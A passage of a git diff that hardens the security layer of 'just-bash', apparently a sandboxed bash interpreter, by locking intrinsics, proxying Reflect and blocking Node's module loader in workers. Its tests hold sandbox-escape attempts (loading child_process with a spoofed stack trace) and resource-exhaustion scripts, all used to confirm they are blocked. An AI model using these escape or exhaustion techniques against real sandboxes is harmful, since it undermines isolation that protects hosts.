-  it("locks data-descriptor symbols in DefenseInDepthBox", () => {
-    const box = DefenseInDepthBox.getInstance(true);
-    const handle = box.activate();
-    try {
-      // Symbol.iterator
-      expectLockedDataSymbol(
-        Array.prototype,
-        Symbol.iterator,
-        "Array.prototype[Symbol.iterator]",
-      );
-      expectLockedDataSymbol(
-        String.prototype,
-        Symbol.iterator,
-        "String.prototype[Symbol.iterator]",
-      );
-
-      // RegExp Symbol methods
-      expectLockedDataSymbol(
-        RegExp.prototype,
-        Symbol.match,
-        "RegExp.prototype[Symbol.match]",
-      );
-      expectLockedDataSymbol(
-        RegExp.prototype,
-        Symbol.matchAll,
-        "RegExp.prototype[Symbol.matchAll]",
-      );
-      expectLockedDataSymbol(
-        RegExp.prototype,
-        Symbol.replace,
-        "RegExp.prototype[Symbol.replace]",
-      );
-      expectLockedDataSymbol(
-        RegExp.prototype,
-        Symbol.search,
-        "RegExp.prototype[Symbol.search]",
-      );
-      expectLockedDataSymbol(
-        RegExp.prototype,
-        Symbol.split,
-        "RegExp.prototype[Symbol.split]",
-      );
-
-      // Symbol.hasInstance
-      expectLockedDataSymbol(
-        Function.prototype,
-        Symbol.hasInstance,
-        "Function.prototype[Symbol.hasInstance]",
-      );
-
-      // Symbol.unscopables
-      expectLockedDataSymbol(
-        Array.prototype,
-        Symbol.unscopables,
-        "Array.prototype[Symbol.unscopables]",
-      );
-
-      // Symbol.toStringTag
-      expectLockedDataSymbol(
-        Map.prototype,
-        Symbol.toStringTag,
-        "Map.prototype[Symbol.toStringTag]",
-      );
-      expectLockedDataSymbol(
-        Set.prototype,
-        Symbol.toStringTag,
-        "Set.prototype[Symbol.toStringTag]",
-      );
-      expectLockedDataSymbol(
-        Promise.prototype,
-        Symbol.toStringTag,
-        "Promise.prototype[Symbol.toStringTag]",
-      );
-      expectLockedDataSymbol(
-        ArrayBuffer.prototype,
-        Symbol.toStringTag,
-        "ArrayBuffer.prototype[Symbol.toStringTag]",
-      );
-
-      // Error.stackTraceLimit (configurable: true for restoration support)
-      const stackDesc = Object.getOwnPropertyDescriptor(
-        Error,
-        "stackTraceLimit",
-      );
+  it.runIf(typeof nodeModule.registerHooks === "function")(
+    "temporarily protects and then restores host symbol descriptors in scoped mode",
+    () => {
+      const targets = [
+        [Array.prototype, Symbol.iterator],
+        [String.prototype, Symbol.iterator],
+        [RegExp.prototype, Symbol.match],
+        [Function.prototype, Symbol.hasInstance],
+        [Array.prototype, Symbol.unscopables],
+        [Map.prototype, Symbol.toStringTag],
+      ] as const;
+      const before = targets.map(([target, symbol]) =>
+        Object.getOwnPropertyDescriptor(target, symbol),
+      );
+      const box = DefenseInDepthBox.getInstance(true);
+      const handle = box.activate();
+      try {
+        const during = targets.map(([target, symbol]) =>
+          Object.getOwnPropertyDescriptor(target, symbol),
+        );
+        for (let i = 0; i < during.length; i++) {
+          const duringDescriptor = during[i];
+          const beforeDescriptor = before[i];
+          expect(duringDescriptor?.configurable).toBe(
+            beforeDescriptor?.configurable,
+          );
+          if (
+            duringDescriptor &&
+            beforeDescriptor &&
+            "value" in duringDescriptor
+          ) {
+            expect(duringDescriptor.value).toBe(beforeDescriptor.value);
+            expect(duringDescriptor.writable).toBe(false);
+          }
+        }
+      } finally {
+        handle.deactivate();
+        DefenseInDepthBox.resetInstance();
+      }
       expect(
-        stackDesc,
-        "Error.stackTraceLimit descriptor should exist",
-      ).toBeDefined();
-      expect(
-        stackDesc?.writable,
-        "Error.stackTraceLimit should be non-writable",
-      ).toBe(false);
-    } finally {
-      handle.deactivate();
-      DefenseInDepthBox.resetInstance();
-    }
-  });
+        targets.map(([target, symbol]) =>
+          Object.getOwnPropertyDescriptor(target, symbol),
+        ),
+      ).toEqual(before);
+    },
+  );
 
   it("locks data-descriptor symbols in WorkerDefenseInDepth", () => {
     const defense = new WorkerDefenseInDepth({});
@@ -183,7 +120,6 @@ describe("well-known symbol locking", () => {
 
     // Function.prototype Symbol.hasInstance
     expect(hasInstanceDesc).toBeDefined();
-    expect(hasInstanceDesc?.configurable).toBe(false);
     if (hasInstanceDesc && "value" in hasInstanceDesc) {
       expect(hasInstanceDesc.writable).toBe(false);
     }
@@ -202,10 +138,8 @@ describe("well-known symbol locking", () => {
       expect(mapToStringTagDesc.writable).toBe(false);
     }
 
-    // Error.stackTraceLimit (configurable: true for restoration support)
+    // Error.stackTraceLimit remains host-managed.
     expect(stackTraceLimitDesc).toBeDefined();
-    if (stackTraceLimitDesc && "value" in stackTraceLimitDesc) {
-      expect(stackTraceLimitDesc.writable).toBe(false);
-    }
+    expect(stackTraceLimitDesc?.configurable).toBe(true);
   });
 });
diff --git a/packages/just-bash/src/security/trusted-globals.ts b/packages/just-bash/src/security/trusted-globals.ts
index e3e24049..d09565de 100644
--- a/packages/just-bash/src/security/trusted-globals.ts
+++ b/packages/just-bash/src/security/trusted-globals.ts
@@ -14,3 +14,5 @@ export const _SharedArrayBuffer: typeof globalThis.SharedArrayBuffer =
 export const _Atomics: typeof globalThis.Atomics = globalThis.Atomics;
 export const _performanceNow: () => number = performance.now.bind(performance);
 export const _Headers: typeof globalThis.Headers = globalThis.Headers;
+/** Internal capability revocation; never expose this constructor to commands. */
+export const _Proxy: ProxyConstructor = globalThis.Proxy;
diff --git a/packages/just-bash/src/security/types.ts b/packages/just-bash/src/security/types.ts
index 10f7fde0..72a27b83 100644
--- a/packages/just-bash/src/security/types.ts
+++ b/packages/just-bash/src/security/types.ts
@@ -14,9 +14,20 @@
  */
 export interface DefenseInDepthConfig {
   /**
-   * Enable or disable the defense layer. Default: true
+   * Enable, disable, or capability-detect the defense layer.
+   *
+   * `true` (the default used by `Bash`) and `"auto"` both enable the strongest
+   * protection supported by the current runtime. Inspect `getStatus()` when a
+   * host requires the full contextual dynamic-import boundary.
    */
-  enabled?: boolean;
+  enabled?: boolean | "auto";
+
+  /**
+   * Permanently freeze selected host intrinsics and lock well-known Symbol
+   * descriptors. This cannot be undone by `deactivate()` and is therefore
+   * disabled by default. Only use in a dedicated, process-lifetime realm.
+   */
+  processLifetimeIntrinsicHardening?: boolean;
 
   /**
    * Audit mode: log violations but don't block them.
@@ -39,6 +50,26 @@ export interface DefenseInDepthConfig {
   excludeViolationTypes?: SecurityViolationType[];
 }
 
+export interface DefenseInDepthStatus {
+  requested: "auto" | "enabled" | "disabled";
+  state: "enabled" | "unsupported" | "disabled";
+  /**
+   * Overall effective enforcement strength without changing the legacy
+   * `state` contract. Audit mode always reports `"none"` because it records
+   * violations without blocking them.
+   */
+  level: "full" | "best-effort" | "none";
+  contextualDynamicImportProtection: boolean;
+  processLifetimeIntrinsicHardening: boolean;
+  /**
+   * Scoped gates are reversible but cannot revoke mutation functions or
+   * intrinsic references cached before activation. Complete protection
+   * requires the explicitly irreversible process-lifetime mode or isolation.
+   */
+  intrinsicProtection: "scoped-best-effort" | "process-lifetime";
+  reason?: string;
+}
+
 /**
  * Types of security violations that can be detected.
  */
diff --git a/packages/just-bash/src/security/worker-defense-in-depth.test.ts b/packages/just-bash/src/security/worker-defense-in-depth.test.ts
index 8439782b..15dbf01d 100644
--- a/packages/just-bash/src/security/worker-defense-in-depth.test.ts
+++ b/packages/just-bash/src/security/worker-defense-in-depth.test.ts
@@ -1,3 +1,4 @@
+import { createRequire } from "node:module";
 import { afterEach, beforeAll, beforeEach, describe, expect, it } from "vitest";
 import { DefenseInDepthBox } from "./defense-in-depth-box.js";
 import type { SecurityViolation } from "./types.js";
@@ -6,6 +7,12 @@ import {
   WorkerSecurityViolationError,
 } from "./worker-defense-in-depth.js";
 
+const hostRequire = createRequire(import.meta.url);
+const HostModule = hostRequire("node:module").Module as {
+  _load: (specifier: string) => unknown;
+  _resolveFilename: (specifier: string, parent?: unknown) => string;
+};
+
 /**
  * IMPORTANT: WorkerDefenseInDepth tests require special handling.
  *
@@ -626,15 +633,21 @@ describe("WorkerDefenseInDepth", () => {
         expect(error?.message).toContain("Atomics");
       });
 
-      it("should freeze Reflect (not block it)", () => {
+      it("should freeze Reflect and expose it through a read-only proxy", () => {
         defense = new WorkerDefenseInDepth({});
 
         const result = Reflect.get({ test: 42 }, "test");
-        const isFrozen = Object.isFrozen(Reflect);
+        let mutationError: unknown;
+        try {
+          (Reflect as unknown as Record<string, unknown>).sandboxEscape = 1;
+        } catch (error) {
+          mutationError = error;
+        }
 
         defense.deactivate();
         expect(result).toBe(42);
-        expect(isFrozen).toBe(true);
+        expect(mutationError).toBeInstanceOf(WorkerSecurityViolationError);
+        expect(Object.isFrozen(Reflect)).toBe(true);
       });
     });
   });
@@ -832,6 +845,40 @@ describe("WorkerDefenseInDepth", () => {
   });
 
   describe("worker-specific behavior", () => {
+    it("blocks require and direct loader calls without consulting stack text", () => {
+      const originalPrepareStackTrace = Error.prepareStackTrace;
+      Error.prepareStackTrace = () =>
+        "node:internal/modules/cjs/loader malicious-sourceURL";
+      defense = new WorkerDefenseInDepth({});
+
+      const attempts = [
+        function maliciousLoaderFrame() {
+          return hostRequire("node:child_process");
+        },
+        function directLoad() {
+          return HostModule._load("node:child_process");
+        },
+        function directResolve() {
+          return HostModule._resolveFilename("node:child_process");
+        },
+      ];
+      const errors: unknown[] = [];
+      for (const attempt of attempts) {
+        try {
+          attempt();
+        } catch (error) {
+          errors.push(error);
+        }
+      }
+
+      defense.deactivate();
+      Error.prepareStackTrace = originalPrepareStackTrace;
+      expect(errors).toHaveLength(3);
+      expect(
+        errors.every((error) => error instanceof WorkerSecurityViolationError),
+      ).toBe(true);
+    });
+
     it("should always block (no context tracking needed)", () => {
       defense = new WorkerDefenseInDepth({});
 
diff --git a/packages/just-bash/src/security/worker-defense-in-depth.ts b/packages/just-bash/src/security/worker-defense-in-depth.ts
index 682e8a33..854ceba0 100644
--- a/packages/just-bash/src/security/worker-defense-in-depth.ts
+++ b/packages/just-bash/src/security/worker-defense-in-depth.ts
@@ -85,6 +85,45 @@ export interface WorkerDefenseStats {
 // Maximum number of violations to store (prevent memory issues)
 const MAX_STORED_VIOLATIONS = 1000;
 
+type NodeModuleClass = Record<string, unknown>;
+type WorkerNodeModuleApi = {
+  Module?: NodeModuleClass;
+  default?: NodeModuleClass;
+};
+let nodeModuleClass: NodeModuleClass | null = null;
+try {
+  const getBuiltinModule = (
+    process as typeof process & {
+      getBuiltinModule?: (specifier: string) => unknown;
+    }
+  ).getBuiltinModule;
+  const moduleApi =
+    typeof getBuiltinModule === "function"
+      ? (getBuiltinModule("module") as unknown as WorkerNodeModuleApi)
+      : typeof require === "function"
+        ? // eslint-disable-next-line @typescript-eslint/no-require-imports
+          (require("node:module") as unknown as WorkerNodeModuleApi)
+        : null;
+  nodeModuleClass = moduleApi?.Module ?? moduleApi?.default ?? null;
+  if (typeof getBuiltinModule === "function") {
+    const workerThreads = getBuiltinModule("worker_threads") as
+      | { isMainThread?: boolean }
+      | undefined;
+    const isWorkerThread = workerThreads?.isMainThread === false;
+    if (isWorkerThread) {
+      // Node initializes parts of worker message serialization lazily through
+      // node:crypto. Force that host-only bootstrap before Module methods are
+      // sealed; no guest callback is reachable during module evaluation.
+      const cryptoApi = getBuiltinModule("crypto") as
+        | { randomUUID?: () => string }
+        | undefined;
+      cryptoApi?.randomUUID?.();
+    }
+  }
+} catch {
+  nodeModuleClass = null;
+}
+
 /**
  * Generate a random execution ID for correlation.
  */
@@ -114,6 +153,7 @@ export class WorkerDefenseInDepth {
     prop: string;
     descriptor: PropertyDescriptor | undefined;
   }> = [];
+  private patchFailures: string[] = [];
   private violations: SecurityViolation[] = [];
   private executionId: string;
 
@@ -193,8 +233,14 @@ export class WorkerDefenseInDepth {
       return;
     }
 
-    this.applyPatches();
-    this.isActivated = true;
+    try {
+      this.applyPatches();
+      this.isActivated = true;
+    } catch (error) {
+      this.restorePatches();
+      this.isActivated = false;
+      throw error;
+    }
   }
 
   /**
@@ -490,18 +536,78 @@ export class WorkerDefenseInDepth {
     }) as T;
   }
 
+  private createReadonlyObjectProxy<T extends object>(
+    original: T,
+    path: string,
+    violationType: SecurityViolationType,
+  ): T {
+    const auditMode = this.config.auditMode;
+    const allowOrThrow = (operation: string): void => {
+      const message = `${path} ${operation} is blocked in worker context`;
+      const violation = this.recordViolation(violationType, path, message);
+      if (!auditMode) {
+        throw new WorkerSecurityViolationError(message, violation);
+      }
+    };
+
+    // @banned-pattern-ignore: intentional Proxy usage for reversible security blocking
+    return new this.originalProxy(original, {
+      set(target, prop, value, receiver) {
+        allowOrThrow("modification");
+        return Reflect.set(target, prop, value, receiver);
+      },
+      defineProperty(target, prop, descriptor) {
+        allowOrThrow("defineProperty");
+        return Reflect.defineProperty(target, prop, descriptor);
+      },
+      deleteProperty(target, prop) {
+        allowOrThrow("deletion");
+        return Reflect.deleteProperty(target, prop);
+      },
+      setPrototypeOf(target, prototype) {
+        allowOrThrow("setPrototypeOf");
+        return Reflect.setPrototypeOf(target, prototype);
+      },
+      preventExtensions(target) {
+        allowOrThrow("preventExtensions");
+        return Reflect.preventExtensions(target);
+      },
+    });
+  }
+
   /**
    * Apply security patches to dangerous globals.
    */
   private applyPatches(): void {
+    this.patchFailures = [];
     const blockedGlobals = getBlockedGlobals();
     const excludeTypes = new Set(this.config.excludeViolationTypes ?? []);
+    const workerInfrastructureListenerMethods = new Set([
+      "on",
+      "once",
+      "addListener",
+      "prependListener",
+      "prependOnceListener",
+    ]);
+    const permanentIntrinsicPatches: BlockedGlobal[] = [];
 
     for (const blocked of blockedGlobals) {
       // Skip globals that are explicitly excluded
       if (excludeTypes.has(blocked.violationType)) {
         continue;
       }
+      // Embedded guests cannot access the host process object, while worker
+      // bootstrap/error plumbing legitimately registers process listeners.
+      if (
+        blocked.target === process &&
+        workerInfrastructureListenerMethods.has(blocked.prop)
+      ) {
+        continue;
+      }
+      if (blocked.strategy === "freeze") {
+        permanentIntrinsicPatches.push(blocked);
+        continue;
+      }
       this.applyPatch(blocked);
     }
 
@@ -541,13 +647,33 @@ export class WorkerDefenseInDepth {
       this.protectProcessConnected();
     }
 
-    // Lock well-known Symbol properties to prevent hijacking
-    this.lockWellKnownSymbols();
-
     // Block Proxy.revocable to prevent bypassing Proxy constructor blocking
     if (!excludeTypes.has("proxy")) {
       this.protectProxyRevocable();
     }
+
+    const criticalPaths = [
+      "Function.prototype.constructor",
+      "Module._load",
+      "Module._resolveFilename",
+    ];
+    const criticalFailures = this.patchFailures.filter((path) =>
+      criticalPaths.includes(path),
+    );
+    if (criticalFailures.length > 0) {
+      this.restorePatches();
+      throw new Error(
+        `WorkerDefenseInDepth: critical patches failed: ${criticalFailures.join(", ")}`,
+      );
+    }
+
+    // Apply worker-realm lifetime locks only after reversible critical
+    // protection has succeeded, so bootstrap failure cannot leave half-active
+    // loader/global proxies behind.
+    for (const blocked of permanentIntrinsicPatches) {
+      this.applyPatch(blocked);
+    }
+    this.lockWellKnownSymbols();
   }
 
   /**
@@ -559,8 +685,6 @@ export class WorkerDefenseInDepth {
         const desc = Object.getOwnPropertyDescriptor(obj, sym);
         if (desc?.configurable) {
           if ("value" in desc) {
-            // Data descriptors must also be non-writable, otherwise assignment
-            // can still replace the Symbol property value.
             Object.defineProperty(obj, sym, {
               ...desc,
               configurable: false,
@@ -568,7 +692,6 @@ export class WorkerDefenseInDepth {
             });
             return;
           }
-
           Object.defineProperty(obj, sym, { ...desc, configurable: false });
         }
       } catch {
@@ -619,26 +742,8 @@ export class WorkerDefenseInDepth {
       lock(proto, Symbol.toStringTag);
     }
 
-    // Freeze Error.stackTraceLimit to prevent stack trace depth manipulation.
-    // Uses configurable: true so it can be restored on deactivation.
-    try {
-      const stackDesc = Object.getOwnPropertyDescriptor(
-        Error,
-        "stackTraceLimit",
-      );
-      this.originalDescriptors.push({
-        target: Error,
-        prop: "stackTraceLimit",
-        descriptor: stackDesc,
-      });
-      Object.defineProperty(Error, "stackTraceLimit", {
-        value: Error.stackTraceLimit,
-        writable: false,
-        configurable: true,
-      });
-    } catch {
-      /* best-effort */
-    }
+    // These symbol descriptors are intentionally permanent within the worker
+    // realm. Error.stackTraceLimit is diagnostic and remains host-managed.
   }
 
   /**
@@ -920,7 +1025,7 @@ export class WorkerDefenseInDepth {
         configurable: true,
       });
     } catch {
-      // Could not patch constructor
+      this.patchFailures.push(path);
     }
   }
 
@@ -1148,66 +1253,7 @@ export class WorkerDefenseInDepth {
    * We access the Module class and replace _load with a blocking proxy.
    */
   private protectModuleLoad(): void {
-    const self = this;
-    const auditMode = this.config.auditMode;
-
-    try {
-      let ModuleClass: Record<string, unknown> | null = null;
-
-      // Path 1: via process.mainModule (CJS contexts)
-      if (typeof process !== "undefined") {
-        const mainModule = (process as unknown as Record<string, unknown>)
-          .mainModule;
-        if (mainModule && typeof mainModule === "object") {
-          ModuleClass = (mainModule as unknown as Record<string, unknown>)
-            .constructor as unknown as Record<string, unknown>;
-        }
-      }
-
-      // Path 2: via require.main (CJS contexts)
-      if (
-        !ModuleClass &&
-        typeof require !== "undefined" &&
-        typeof require.main !== "undefined"
-      ) {
-        ModuleClass = (require.main as unknown as Record<string, unknown>)
-          .constructor as unknown as Record<string, unknown>;
-      }
-
-      if (!ModuleClass || typeof ModuleClass._load !== "function") {
-        return;
-      }
-
-      const original = ModuleClass._load as (...args: unknown[]) => unknown;
-      const descriptor = Object.getOwnPropertyDescriptor(ModuleClass, "_load");
-      this.originalDescriptors.push({
-        target: ModuleClass,
-        prop: "_load",
-        descriptor,
-      });
-
-      const path = "Module._load";
-      // @banned-pattern-ignore: intentional Proxy usage for security blocking
-      const proxy = new this.originalProxy(original, {
-        apply(_target, _thisArg, _args) {
-          const message = `${path} is blocked in worker context`;
-          const violation = self.recordViolation("module_load", path, message);
-
-          if (!auditMode) {
-            throw new WorkerSecurityViolationError(message, violation);
-          }
-          return Reflect.apply(_target, _thisArg, _args);
-        },
-      }) as typeof original;
-
-      Object.defineProperty(ModuleClass, "_load", {
-        value: proxy,
-        writable: true,
-        configurable: true,
-      });
-    } catch {
-      // Could not protect Module._load (expected in ESM contexts)
-    }
+    this.protectModuleMethod("_load", "module_load");
   }
 
   /**
@@ -1220,72 +1266,67 @@ export class WorkerDefenseInDepth {
    * in the main thread (DefenseInDepthBox.protectDynamicImport).
    */
   private protectModuleResolveFilename(): void {
+    this.protectModuleMethod("_resolveFilename", "module_resolve_filename");
+  }
+
+  private protectModuleMethod(
+    prop: "_load" | "_resolveFilename",
+    violationType: "module_load" | "module_resolve_filename",
+  ): void {
+    const path = `Module.${prop}`;
     const self = this;
     const auditMode = this.config.auditMode;
 
     try {
-      let ModuleClass: Record<string, unknown> | null = null;
-
-      if (typeof process !== "undefined") {
-        const mainModule = (process as unknown as Record<string, unknown>)
-          .mainModule;
-        if (mainModule && typeof mainModule === "object") {
-          ModuleClass = (mainModule as unknown as Record<string, unknown>)
-            .constructor as unknown as Record<string, unknown>;
-        }
-      }
-
-      if (
-        !ModuleClass &&
-        typeof require !== "undefined" &&
-        typeof require.main !== "undefined"
-      ) {
-        ModuleClass = (require.main as unknown as Record<string, unknown>)
-          .constructor as unknown as Record<string, unknown>;
+      const ModuleClass = nodeModuleClass;
+      const original = ModuleClass?.[prop];
+      if (!ModuleClass || typeof original !== "function") {
+        throw new Error("node:module Module class or method is unavailable");
       }
-
-      if (!ModuleClass || typeof ModuleClass._resolveFilename !== "function") {
-        return;
+      const descriptor = Object.getOwnPropertyDescriptor(ModuleClass, prop);
+      if (!descriptor) throw new Error("method descriptor is unavailable");
+      if (descriptor.configurable === false && descriptor.writable === false) {
+        throw new Error("method is non-configurable and non-writable");
       }
 
-      const original = ModuleClass._resolveFilename as (
-        ...args: unknown[]
-      ) => unknown;
-      const descriptor = Object.getOwnPropertyDescriptor(
-        ModuleClass,
-        "_resolveFilename",
+      // @banned-pattern-ignore: intentional Proxy usage for security blocking
+      const proxy = new this.originalProxy(
+        original as (...args: unknown[]) => unknown,
+        {
+          apply(target, thisArg, args) {
+            // All worker runtime dependencies must be loaded before activation.
+            // There is intentionally no stack/source/function-name allowlist:
+            // those diagnostics are guest-influenceable and ordinary require()
+            // reaches this method through the same loader frames as bootstrap.
+            const message = `${path} is blocked in worker context`;
+            const violation = self.recordViolation(
+              violationType,
+              path,
+              message,
+            );
+            if (!auditMode) {
+              throw new WorkerSecurityViolationError(message, violation);
+            }
+            return Reflect.apply(target, thisArg, args);
+          },
+        },
       );
+
       this.originalDescriptors.push({
         target: ModuleClass,
-        prop: "_resolveFilename",
+        prop,
         descriptor,
       });
-
-      const path = "Module._resolveFilename";
-      // @banned-pattern-ignore: intentional Proxy usage for security blocking
-      const proxy = new this.originalProxy(original, {
-        apply(_target, _thisArg, _args) {
-          const message = `${path} is blocked in worker context`;
-          const violation = self.recordViolation(
-            "module_resolve_filename",
-            path,
-            message,
-          );
-
-          if (!auditMode) {
-            throw new WorkerSecurityViolationError(message, violation);
-          }
-          return Reflect.apply(_target, _thisArg, _args);
-        },
-      }) as typeof original;
-
-      Object.defineProperty(ModuleClass, "_resolveFilename", {
+      Object.defineProperty(ModuleClass, prop, {
+        ...descriptor,
         value: proxy,
-        writable: true,
-        configurable: true,
       });
+      const installed = Object.getOwnPropertyDescriptor(ModuleClass, prop);
+      if (ModuleClass[prop] !== proxy || installed?.value !== proxy) {
+        throw new Error("installed patch failed verification");
+      }
     } catch {
-      // Could not protect Module._resolveFilename (expected in ESM contexts)
+      this.patchFailures.push(path);
     }
   }
 
@@ -1307,6 +1348,16 @@ export class WorkerDefenseInDepth {
       if (strategy === "freeze") {
         if (typeof original === "object" && original !== null) {
           Object.freeze(original);
+          const path = this.getPathForTarget(target, prop);
+          const proxy = this.createReadonlyObjectProxy(
+            original,
+            path,
+            violationType,
+          );
+          Object.defineProperty(target, prop, {
+            ...descriptor,
+            value: proxy,
+          });
         }
       } else {
         const path = this.getPathForTarget(target, prop);
diff --git a/packages/just-bash/src/shell/glob.ts b/packages/just-bash/src/shell/glob.ts
index 4b301f6a..24a6d1e7 100644
--- a/packages/just-bash/src/shell/glob.ts
+++ b/packages/just-bash/src/shell/glob.ts
@@ -29,6 +29,8 @@ export interface GlobOptions {
   globskipdots?: boolean;
   /** Maximum number of glob filesystem operations (default: 100000) */
   maxGlobOperations?: number;
+  /** Optional aggregate accounting shared by all expanders in one execution. */
+  consumeOperation?: () => void;
 }
 
 /**
@@ -48,6 +50,7 @@ export class GlobExpander {
   private globskipdots = true; // Default to true in bash >=5.2
   private ops: { count: number } = { count: 0 };
   private maxOps: number;
+  private consumeOperation?: () => void;
 
   constructor(
     private fs: IFileSystem,
@@ -66,6 +69,7 @@ export class GlobExpander {
       this.extglob = options.extglob ?? false;
       this.globskipdots = options.globskipdots ?? true;
       this.maxOps = options.maxGlobOperations ?? 100000;
+      this.consumeOperation = options.consumeOperation;
     } else {
       this.maxOps = 100000;
     }
@@ -88,6 +92,7 @@ export class GlobExpander {
         "glob_operations",
       );
     }
+    this.consumeOperation?.();
   }
 
   /**
diff --git a/packages/just-bash/src/shims/browser-unsupported.js b/packages/just-bash/src/shims/browser-unsupported.js
index 61a8d912..6088f153 100644
--- a/packages/just-bash/src/shims/browser-unsupported.js
+++ b/packages/just-bash/src/shims/browser-unsupported.js
@@ -1,6 +1,9 @@
-// Browser shim for node:dns — aliased by esbuild in the browser build.
-// The DNS lookup is only used by denyPrivateRanges (a Node.js-only feature),
-// so this shim is never called at runtime in browsers.
+// Browser shim for Node-only builtins aliased by the browser build. Every
+// corresponding use is behind a compile-time __BROWSER__ branch, so this
+// module must remain inert and should never be called at runtime.
+export const AsyncLocalStorage = undefined;
+export const Module = undefined;
+
 export function lookup() {
   throw new Error("node:dns is not available in browser environments");
 }
diff --git a/packages/just-bash/src/source-limit.ts b/packages/just-bash/src/source-limit.ts
new file mode 100644
index 00000000..bd427e37
--- /dev/null
+++ b/packages/just-bash/src/source-limit.ts
@@ -0,0 +1,18 @@
+import { utf8ByteLength } from "./commands/printf/escapes.js";
+import { ExecutionLimitError } from "./interpreter/errors.js";
+
+/** Reject source before normalization or parsing can duplicate it. */
+export function assertSourceWithinLimit(
+  source: string,
+  maxSourceBytes: number,
+): void {
+  if (
+    source.length > maxSourceBytes ||
+    utf8ByteLength(source) > maxSourceBytes
+  ) {
+    throw new ExecutionLimitError(
+      `script input size limit exceeded (${maxSourceBytes} bytes)`,
+      "string_length",
+    );
+  }
+}
diff --git a/packages/just-bash/src/spec-tests/awk/awk-spec.test.ts b/packages/just-bash/src/spec-tests/awk/awk-spec.test.ts
index c632d6d5..7080a311 100644
--- a/packages/just-bash/src/spec-tests/awk/awk-spec.test.ts
+++ b/packages/just-bash/src/spec-tests/awk/awk-spec.test.ts
@@ -78,7 +78,7 @@ describe("OneTrue AWK Spec Tests", () => {
           if (!result.passed) {
             expect.fail(formatError(result));
           }
-        });
+        }, 10_000);
       }
     });
   }
diff --git a/packages/just-bash/src/spec-tests/bash/cases/builtin-bracket.test.sh b/packages/just-bash/src/spec-tests/bash/cases/builtin-bracket.test.sh
index c20d952c..99e10ef9 100644
--- a/packages/just-bash/src/spec-tests/bash/cases/builtin-bracket.test.sh
+++ b/packages/just-bash/src/spec-tests/bash/cases/builtin-bracket.test.sh
@@ -532,7 +532,6 @@ status=2
 ## status: 1
 
 #### -ef
-## SKIP (unimplementable): -ef with hardlinks requires inode tracking - virtual filesystem limitation
 left=$TMP/left
 right=$TMP/right
 touch $left $right
diff --git a/packages/just-bash/src/spec-tests/bash/cases/var-op-bash.test.sh b/packages/just-bash/src/spec-tests/bash/cases/var-op-bash.test.sh
index 602a331c..b0b60321 100644
--- a/packages/just-bash/src/spec-tests/bash/cases/var-op-bash.test.sh
+++ b/packages/just-bash/src/spec-tests/bash/cases/var-op-bash.test.sh
@@ -302,8 +302,6 @@ status=0
 ## END
 
 #### assoc array and @P @Q @a
-## SKIP (unimplementable): Interactive shell invocation not implemented
-
 # note: "y z" causes a bug!
 $SH -c 'declare -A A=(["x"]="y"); echo ${A@P} - ${A[@]@P}'
 echo status=$?
diff --git a/packages/just-bash/src/syntax/execution-protection.test.ts b/packages/just-bash/src/syntax/execution-protection.test.ts
index 230ab5c6..3746833a 100644
--- a/packages/just-bash/src/syntax/execution-protection.test.ts
+++ b/packages/just-bash/src/syntax/execution-protection.test.ts
@@ -273,7 +273,10 @@ describe("Execution Protection", () => {
     });
 
     it("should protect against recursive eval", async () => {
-      const env = new Bash({ maxCallDepth: 20 });
+      // This recursion does not create function frames, so call depth is not
+      // the relevant guard. Keep the attack fixture explicitly cheap while
+      // the normal profile remains liberal for real scripts.
+      const env = new Bash({ maxCommandCount: 100 });
       const result = await env.exec(`
         cmd='eval "$cmd"'
         eval "$cmd"
@@ -328,8 +331,10 @@ describe("Execution Protection", () => {
       const env = new Bash();
       const result = await env.exec("echo {a..z}{a..z}{a..z}{a..z}");
 
-      // 26^4 = 456,976 items - should be limited
-      expect(result.exitCode).toBe(0);
+      // 26^4 = 456,976 items: fail closed rather than returning a partial
+      // expansion after performing prohibited collection work.
+      expect(result.exitCode).toBe(126);
+      expect(result.stderr).toContain("brace expansion result limit exceeded");
     });
   });
 
diff --git a/packages/just-bash/src/syntax/loops.test.ts b/packages/just-bash/src/syntax/loops.test.ts
index 350bf86c..5041f269 100644
--- a/packages/just-bash/src/syntax/loops.test.ts
+++ b/packages/just-bash/src/syntax/loops.test.ts
@@ -133,7 +133,7 @@ describe("Bash Syntax - Loops", () => {
 
   describe("loop protection", () => {
     it("should detect infinite for loop and error", async () => {
-      const env = new Bash();
+      const env = new Bash({ executionLimitProfile: "hardened" });
       // Create a list that's too long
       const longList = Array(10001).fill("x").join(" ");
       const result = await env.exec(`for i in ${longList}; do echo $i; done`);
@@ -143,7 +143,7 @@ describe("Bash Syntax - Loops", () => {
     });
 
     it("should detect infinite while loop", async () => {
-      const env = new Bash();
+      const env = new Bash({ executionLimitProfile: "hardened" });
       const result = await env.exec("while true; do echo loop; done");
       // May hit either iteration limit or command count limit depending on loop body
       expect(result.stderr).toMatch(/too many (iterations|commands)/);
@@ -151,7 +151,7 @@ describe("Bash Syntax - Loops", () => {
     });
 
     it("should detect infinite until loop", async () => {
-      const env = new Bash();
+      const env = new Bash({ executionLimitProfile: "hardened" });
       const result = await env.exec("until false; do echo loop; done");
       // May hit either iteration limit or command count limit depending on loop body
       expect(result.stderr).toMatch(/too many (iterations|commands)/);
diff --git a/packages/just-bash/src/timers.ts b/packages/just-bash/src/timers.ts
index f2564142..37a83abd 100644
--- a/packages/just-bash/src/timers.ts
+++ b/packages/just-bash/src/timers.ts
@@ -33,6 +33,52 @@ export const _setTimeout: typeof globalThis.setTimeout = ((
 
 export const _clearTimeout: typeof globalThis.clearTimeout = nativeClearTimeout;
 
+const MAX_NATIVE_TIMEOUT_MS = 2_147_483_647;
+
+export interface FiniteTimeoutHandle {
+  cleared: boolean;
+  remainingMs: number;
+  timer: ReturnType<typeof globalThis.setTimeout> | undefined;
+}
+
+/**
+ * Schedule a configured deadline without overflowing the host timer. Positive
+ * Infinity means no deadline; longer finite delays are advanced in native-safe
+ * chunks so they retain their actual duration.
+ */
+export function _setTimeoutIfFinite(
+  callback: Parameters<typeof globalThis.setTimeout>[0],
+  delay: number,
+): FiniteTimeoutHandle | undefined {
+  if (delay === Number.POSITIVE_INFINITY) return undefined;
+  const boundCallback = bindTimerCallback(callback) as () => void;
+  const handle: FiniteTimeoutHandle = {
+    cleared: false,
+    remainingMs: Math.max(0, delay),
+    timer: undefined,
+  };
+  const schedule = (): void => {
+    if (handle.cleared) return;
+    const chunk = Math.min(handle.remainingMs, MAX_NATIVE_TIMEOUT_MS);
+    handle.timer = nativeSetTimeout(() => {
+      if (handle.cleared) return;
+      handle.remainingMs -= chunk;
+      if (handle.remainingMs > 0) schedule();
